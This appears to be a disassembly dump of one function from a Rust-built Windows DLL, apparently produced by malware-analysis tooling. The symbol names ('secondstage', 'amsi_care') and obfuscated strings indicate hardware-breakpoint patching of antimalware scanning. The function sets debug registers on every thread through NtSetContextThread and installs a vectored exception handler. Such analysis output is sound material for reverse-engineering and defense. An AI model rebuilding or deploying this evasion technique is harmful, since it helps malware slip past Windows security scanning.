Function at 0x10004210
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x328
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x330]
push 0x2c8
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp byte [0x10161028], 0
mov dword [ebp - 0x334], 0x1003f
jne 0x1000438f
lea eax, [0x10122380]
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x5f39dc80
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h386a050cf4afd377
add esp, 8
mov ecx, 0x8bfb5972
mov edx, 0xfa784a18
xor ecx, dword [eax]
xor edx, dword [eax + 4]
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
lea esi, [ebp - 0x50]
lea eax, [ebp - 0x24]
push 8
push esi
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x10004870
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
test eax, eax
jne 0x100042cf
push dword [ebp - 0x14]
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
test eax, eax
je 0x10004827
lea eax, [0x1011d753]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x15fa94e5
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h37e3b3fb9eded6b7
add esp, 8
mov ecx, 0x86a13edd
mov edx, 0x8e230260
mov ebx, 0x2381dfb7
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor ebx, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0xc
xor ah, 0x42
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ebx
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
push esi
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x100048a3
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
push esi
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x10004741
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov byte [0x10161028], 1
mov dword [0x1016102c], eax
mov byte [esi], 0
je 0x10004376
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x1000438f
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
cmp byte [0x10161030], 0
jne 0x100044d2
lea eax, [0x1011f39b]
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0xedd0dce1
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::hb1a8f0dedf19118c
add esp, 8
mov ecx, 0x4b4516b9
mov edx, 0xdbda0c70
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x1a
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov byte [ebp - 0x48], al
lea ebx, [ebp - 0x50]
lea eax, [ebp - 0x24]
push 9
push ebx
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x100048d6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
lea eax, [0x1011b303]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3a526d79
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::hd731f29df91c2f43
add esp, 8
mov ecx, 0x8260712c
mov edx, 0x4f356ce
mov esi, 0xab7e9abb
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0x4f
xor ah, 0x13
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], esi
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
push ebx
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [ebp - 0x24], 0x80000000
jne 0x10004906
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
push ebx
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x10004777
test esi, esi
mov byte [0x10161030], 1
mov dword [0x10161034], eax
mov byte [ebx], 0
je 0x100044b6
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x100044d2
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
push sym.__ZN11secondstage9amsi_care17exception_handler17h59a0ada2cacc4a65E_4
push 1
call sub.kernel32.dll_AddVectoredExceptionHandler
xorps xmm0, xmm0
mov esi, eax
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
lea eax, [ebp - 0x3c]
push 0
push 0x18
push eax
push 0
push 0xffffffffffffffff
call sub.ntdll.dll_NtQueryInformationProcess
test eax, eax
mov dword [ebp - 0x54], 1
jne 0x10004511
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x54], eax
mov eax, dword [0x10145400]
movzx eax, byte [eax]
push 1
push 0x100000
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x10004864
mov dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
push ecx
push 0x100000
mov dword [ebp - 0x40], eax
push eax
push 5
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x100047d6
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0
test eax, eax
mov dword [ebp - 0x68], eax
je 0x100047d6
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x60], esi
mov eax, ecx
add eax, 0xb8
mov dword [ebp - 0x64], eax
nop dword [eax + eax]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x10], edx
cmp dword [ecx + edx + 0x44], eax
je 0x100045c0
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx + edx]
test eax, eax
je 0x1000464c
add edx, eax
cmp edx, dword [ebp - 0x68]
jb 0x10004590
jmp 0x1000464c
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x10]
mov ebx, dword [eax + ecx + 4]
test ebx, ebx
je 0x1000459c
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x10]
lea esi, [eax + ecx]
jmp 0x100045f3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edi*4], ecx
inc edi
mov dword [ebp - 0x1c], edi
add esi, 0x40
dec ebx
je 0x1000459c
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x50], 0
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
mov eax, dword [esi + 0x24]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x1fffff
lea eax, [ebp - 0x5c]
push eax
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x100045ed
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
cmp edi, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
jne 0x100045e0
lea eax, [ebp - 0x24]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::hdcb1d2f117314123
add esp, 4
jmp 0x100045e0
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
test edi, edi
je 0x100047be
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
push 1
push 0x100000
push ecx
call sym.___rust_dealloc
add esp, 0xc
shl edi, 2
mov dword [ebp - 0x10], esi
nop word cs:[eax + eax]
test esi, esi
je 0x10004722
mov ebx, dword [esi]
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x100047fe
cmp byte [0x10161028], 1
jne 0x100046cd
mov eax, dword [0x1016102c]
mov dword [ebp - 0x330], eax
movzx eax, word [ebp - 0x31c]
or eax, 1
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
cmp byte [0x10161030], 1
jne 0x100046fb
mov eax, dword [0x10161034]
mov dword [ebp - 0x32c], eax
movzx eax, word [ebp - 0x31c]
or eax, 4
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x100047fe
add esi, 4
push ebx
call sub.ntdll.dll_NtClose
add edi, 0xfffffffc
jne 0x10004680
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 0x60]
mov dword [ebx + 4], eax
mov dword [ebx], 0x80000000
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1000481c
jmp 0x10004857
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [esi], 0
je 0x1000483e
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
jmp 0x1000483e
mov eax, dword [ebp + 8]
test esi, esi
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [ebx], 0
je 0x100047a1
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x10004857
push 1
push ecx
push eax
jmp 0x1000484f
mov ebx, dword [ebp + 8]
test eax, eax
je 0x100047d6
shl eax, 2
push 4
push eax
push dword [ebp - 0x20]
call sym.___rust_dealloc
add esp, 0xc
push 1
push 0x100000
push dword [ebp - 0x40]
call sym.___rust_dealloc
add esp, 0xc
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
jmp 0x10004857
mov ebx, dword [ebp + 8]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10004857
shl eax, 2
push 4
push eax
push dword [ebp - 0x10]
jmp 0x1000484f
mov edi, dword [ebp - 0x14]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x10004857
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
mov eax, ebx
add esp, 0x328
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x100000
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10126df4
push 0x10126d80
push edi
push 0x2b
push 0x10126d90
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10004937
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10126e04
push 0x10126d80
lea eax, [ebp - 0x3c]
push eax
push 0x2b
push 0x10126d90
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10004937
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10126e14
push 0x10126d80
push esi
push 0x2b
push 0x10126d90
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10004937
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10126e24
push 0x10126d80
lea eax, [ebp - 0x3c]
push eax
push 0x2b
push 0x10126d90
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
ud2